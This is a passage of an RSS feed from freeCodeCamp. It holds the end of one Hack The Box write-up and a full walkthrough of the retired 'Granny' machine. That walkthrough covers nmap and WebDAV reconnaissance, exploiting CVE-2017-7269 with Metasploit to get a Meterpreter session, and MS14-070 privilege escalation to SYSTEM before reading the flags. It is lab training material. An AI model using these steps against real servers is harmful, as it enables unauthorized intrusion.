<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.19.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I run it with</p>
<pre><code class="lang-bash">./emergency
</code></pre>
<p>and I'm asked if I want to get a root shell :)</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.20.07.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have root access to the machine</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.20.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can now navigate to the <strong>root</strong> folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.21.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>root.txt</strong> file! </p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p>Congrats! You found both flags!</p>
<hr>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more of my articles <a target="_blank" href="https://www.freecodecamp.org/news/author/sonya/">here</a></p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a></p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<hr>
<p><strong>Other Hack The Box articles</strong></p>
<ul>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-lame/">Keep Calm and Hack The Box - Lame</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/">Keep Calm and Hack The Box - Legacy</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-devel/">Keep Calm and Hack The Box - Devel</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-beep/">Keep Calm and Hack The Box - Beep</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/">Keep Calm and Hack The Box - Optimum</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-arctic/">Keep Calm and Hack The Box - Arctic</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-grandpa/">Keep Calm and Hack The Box - Grandpa</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-granny/">Keep Calm and Hack The Box - Granny</a></li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-1.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Granny ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF st... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-granny/</link>
                <guid isPermaLink="false">66ba311fb113ca81d3406ea9</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Windows ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Fri, 01 May 2020 17:17:39 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/04/granny-1.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>. <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.26.52.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Granny, similarly to Grandpa, can be exploited using several different methods like the widely-exploited CVE-2017-7269. This vulnerability is trivial to exploit and granted immediate access to thousands of IIS servers around the globe when it became public knowledge.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>Searchsploit</li>
<li>davtest</li>
<li>Metasploit</li>
<li>Local exploit suggester</li>
</ul>
<p>Let's get started.</p>
<p>I add granny on the /etc/hosts file</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.15     granny.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.32.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-1-reconnaissance">Step 1 - Reconnaissance</h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h2 id="heading-port-scanning">Port scanning</h2>
<p>I will use Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. </p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.39.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v granny.htb
</code></pre>
<p><strong>-A:</strong> Enable OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increase verbosity level</p>
<p><strong>granny.htb:</strong> hostname for the Granny box</p>
<p>If you find the results a little bit too overwhelming, you can do another command to get only the open ports.</p>
<pre><code class="lang-bash">nmap granny.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.46.09.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there is only 1 open port:</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<p>We know that the server is an IIS 6.0 from the http-server-header. <strong>Internet Information Services</strong> (<strong>IIS</strong>, formerly <strong>Internet Information Server</strong>) is an extensible web server software created by Microsoft for use with the Windows NT family. More info <a target="_blank" href="https://en.wikipedia.org/wiki/Internet_Information_Services">here</a>.</p>
<blockquote>
<p>IIS 6.0 (code name "Duct Tape"), included with Windows Server 2003 and Windows XP Professional x64 Edition, added support for IPv6 and included a new worker process model that increased security as well as reliability HTTP.sys was introduced in IIS 6.0 as an HTTP-specific protocol listener for HTTP requests</p>
</blockquote>
<p>We can also see from the <strong>http-title</strong> that the website is "under construction" and that there is a <strong>http-webdav-scan</strong> with all the allowed methods.</p>
<p>I use another nmap script to try to get more information. The script sends an OPTIONS request which lists the dav type, server type, date and allowed methods. It then sends a PROPFIND request and tries to fetch exposed directories and internal IP addresses by doing pattern matching in the response body</p>
<pre><code class="lang-bash">nmap --script http-webdav-scan -p80 granny.htb
</code></pre>
<p>Here is more <a target="_blank" href="https://nmap.org/nsedoc/scripts/http-webdav-scan.html">info</a> on this script from the nmap website.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.53.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>WebDAV or <strong>Web Distributed Authoring and Versioning</strong> (<strong>WebDAV</strong>) is an extension of the Hypertext Transfer Protocol that allows clients to perform remote Web content authoring operations. More info <a target="_blank" href="https://en.wikipedia.org/wiki/WebDAV">here</a>.</p>
<p>We can see on the server support section that Microsoft's IIS has a WebDAV module.</p>
<p>I use <a target="_blank" href="https://tools.kali.org/web-applications/davtest"><strong>davtest</strong></a> to check if I can upload files.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-15.54.24.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command:</p>
<pre><code class="lang-bash">davtest -url granny.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-22.57.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>It doesn't look like I can upload files. I use <strong>Searchsploit</strong> to check if there is any known vulnerability on IIS 6.0. Searchsploit is a command line search tool for <strong><a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-13-at-22.01.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit iis 6.0
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-13-at-22.02.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can get more details on the exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 41738.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-13-at-22.01.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The attack is based on a <a target="_blank" href="https://en.wikipedia.org/wiki/Return-oriented_programming">Return-oriented programming</a> chain. <strong>Return-oriented programming</strong> (<strong>ROP</strong>) is a security exploit technique that allows an attacker to execute code in the presence of security defense such as executable space protection and code signing.</p>
<p>You can also check the <strong>Exploit Database</strong> to find the exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-24-at-14.28.52.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.exploit-db.com/search?q=iis+6.0">https://www.exploit-db.com/search?q=iis+6.0</a></em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-07-at-16.19.42.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.exploit-db.com/exploits/41738">https://www.exploit-db.com/exploits/41738</a></em></p>
<p>The <strong>National Vulnerability Database</strong>,</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-22.56.07.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2017-7269">https://nvd.nist.gov/vuln/detail/CVE-2017-7269</a></em></p>
<p>and the <strong>Common Vulnerabilities and Exposure</strong> database are also worth checking.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-22.57.52.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-07-at-16.20.27.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.cvedetails.com/cve/CVE-2017-7269/">https://www.cvedetails.com/cve/CVE-2017-7269/</a></em></p>
<p>There is one Metasploit module available.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-07-at-16.20.54.png" alt="Image" width="600" height="400" loading="lazy">
_<a target="_blank" href="https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl">https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl</a>_</p>
<h2 id="heading-step-2-visiting-the-website">Step 2 - Visiting the website</h2>
<p>We don't see much when visiting the website. From the developer console, we can see it's powered by the <a target="_blank" href="https://dotnet.microsoft.com/apps/aspnet">ASP.NET</a> framework</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.03.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We will use <strong>Metasploit</strong>, which is a penetration testing framework that makes hacking simple. It's an essential tool for many attackers and defenders</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-02-at-21.14.13.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.metasploit.com/">https://www.metasploit.com/</a></em></p>
<p>I launch the <strong>Metasploit Framework</strong> on Kali and look for the command I should use to launch the exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-24-at-14.33.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>If I use this command</p>
<pre><code class="lang-bash">searchsploit iis 6.0
</code></pre>
<p>I get the same table that I had from the Terminal earlier.</p>
<p>If I type</p>
<pre><code class="lang-bash">search iis 6.0
</code></pre>
<p>I get 174 results.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-24-at-14.38.22.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The exploit I'm interested in is number 147 on this list.</p>
<p>If you want to get more information about the exploit, you can use the following command:</p>
<pre><code class="lang-bash">info exploit/windows/iis/iis_webdav_scstoragepathfromurl
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-23.11.30.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to use the exploit:</p>
<pre><code class="lang-bash">use exploit/windows/iis/iis_webdav_scstoragepathfromurl
</code></pre>
<p>I need to set up the options before launching the exploit. I check the options with</p>
<pre><code class="lang-bash">show options
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-24-at-14.43.36.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I set the <strong>RHOSTS</strong> with the following command:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS granny.htb
</code></pre>
<p>When I check again the options, I get this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.19.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check if the target is vulnerable with</p>
<pre><code class="lang-bash">check
</code></pre>
<p>Then I run the exploit with the command</p>
<pre><code class="lang-bash">exploit
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.21.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I get a <strong>Meterpreter</strong> session.</p>
<p>Here's the definition of Meterpreter from <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/">Offensive Security</a>:</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a>.</p>
<p>Let's start by gathering some information.</p>
<p><strong>getuid</strong> returns the real user ID of the calling process. The session I got doesn't seem to have enough privileges to run this command. Access is denied:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-24-at-15.41.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When this happens, I list the running processes with</p>
<pre><code class="lang-bash">ps
</code></pre>
<p>and pick one running <strong>NT AUTHORITY\NETWORK SERVICE</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.23.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I migrate to the process 792 with</p>
<pre><code class="lang-bash">migrate 792
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.24.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Now when I check getuid, I get</p>
<pre><code class="lang-bash">Server username: NT AUTHORITY\NETWORK SERVICE
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-15.58.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This is the session I got after migrating to another process</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.25.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I type the following command to get a standard shell on the target system</p>
<pre><code class="lang-bash">shell
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.01.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check who I am on the machine with the command</p>
<pre><code class="lang-bash">whoami
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.01.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get more information from the machine with </p>
<pre><code class="lang-bash">systeminfo
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.27.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to <strong>C:\</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.03.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>then <strong>Documents and Settings</strong> with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> <span class="hljs-string">"Documents and Settings"</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.30.30.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see two users – <strong>Administrator</strong> and <strong>Lakis</strong>. I try to navigate to Lakis. Access is denied. Same for the administrator folder – which is expected as I don't have root access yet.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.30.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I exit the shell with the command </p>
<pre><code class="lang-bash"><span class="hljs-built_in">exit</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.06.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-using-local-exploit-suggester">Step 3 - Using local exploit suggester</h2>
<p>I run the <a target="_blank" href="https://www.rapid7.com/db/modules/post/multi/recon/local_exploit_suggester"><strong>local exploit suggester</strong></a>. The exploits are suggested based on the architecture and the platform the user has the shell open in, along with the available exploits in meterpreter.</p>
<pre><code class="lang-bash">run post/multi/recon/local_exploit_suggester
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.07.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I will use the <strong>MS14-070</strong> exploit. I look for some more information on <strong>Metasploit</strong> with</p>
<pre><code class="lang-bash">info exploit/windows/<span class="hljs-built_in">local</span>/ms14_070_tcpip_ioctl
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-23.36.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>As well as on the <strong>Rapid7</strong> website</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-23.33.04.png" alt="Image" width="600" height="400" loading="lazy">
_<a target="_blank" href="https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl">https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl</a>_</p>
<h2 id="heading-step-4-using-ms14-070-to-perform-privilege-escalation">Step 4 - Using MS14-070 to perform privilege escalation</h2>
<p>I put this session in the background with the command</p>
<pre><code class="lang-bash">background
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.11.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I run the following command to use the exploit I found</p>
<pre><code class="lang-bash">use exploit/windows/<span class="hljs-built_in">local</span>/ms14_070_tcpip_ioctl
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.12.00.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then check for the options of this exploit</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.12.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I set the session with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> SESSION 1
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.12.49.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I run the exploit with </p>
<pre><code class="lang-bash">run
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.13.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The exploit succeeded, but I didn't get a shell back. I check the options</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.13.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and set the LHOST to my IP with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> LHOST 10.10.14.36
</code></pre>
<p>You can check yours <a target="_blank" href="https://www.hackthebox.eu/home/htb/access">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.13.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then run the exploit with</p>
<pre><code class="lang-bash">exploit
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.13.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This confirms that the exploit has succeeded, but I still don't get a shell. I check the session with</p>
<pre><code class="lang-bash">sessions -l
</code></pre>
<p>I should have</p>
<pre><code class="lang-bash">NT AUTHORITY\SYSTEM
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.33.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Which is not the case now, so I go back to this session with</p>
<pre><code class="lang-bash">sessions -i 1
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.38.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check <strong>getuid</strong> and get <strong>NT AUTHORITY\SYSTEM</strong> back. I get a standard shell on the target system and check who am I on the machine. I get <strong>NT AUTHORITY\NETWORK SERVICE</strong> back, which is not what I want!</p>
<p>I exit this shell and check the processes. I can see that I have admin access on the machine. I just meed to migrate to another process, which I do with</p>
<pre><code class="lang-bash">migrate 408
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.39.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I'm back to the standard shell on the target system. And when I check who I am on the machine, I'm finally an admin!</p>
<h2 id="heading-step-5-looking-for-the-usertxt-flag"><strong>Step 5 -</strong> Looking for the user.txt flag</h2>
<p>I navigate to the <strong>Lakis</strong> folder from <strong>Documents and Settings</strong>.</p>
<p>I can list all the files/folders with the following command</p>
<pre><code class="lang-bash">dir
</code></pre>
<p>I then move to the <strong>Desktop</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.36.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I can check the contents of the file with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">type</span> user.txt
</code></pre>
<h2 id="heading-step-6-looking-for-the-roottxt-flag"><strong>Step 6 -</strong> Looking for the root.txt flag</h2>
<p>Let's find the root flag now! I navigate up to <strong>Users</strong> and check in to the <strong>Administrator</strong>/<strong>Desktop</strong> folder. I find the flag!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-29-at-23.39.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to see the content of the file</p>
<pre><code class="lang-bash"><span class="hljs-built_in">type</span> root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-28-at-16.43.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags!</p>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more of my articles <a target="_blank" href="https://www.freecodecamp.org/news/author/sonya/">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<hr>
<p><strong>Other Hack The Box articles</strong></p>
<ul>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-lame/">Keep Calm and Hack The Box - Lame</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/">Keep Calm and Hack The Box - Legacy</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-devel/">Keep Calm and Hack The Box - Devel</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-beep/">Keep Calm and Hack The Box - Beep</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/">Keep Calm and Hack The Box - Optimum</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-arctic/">Keep Calm and Hack The Box - Arctic</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-grandpa/">Keep Calm and Hack The Box - Grandpa</a></li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/granny.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
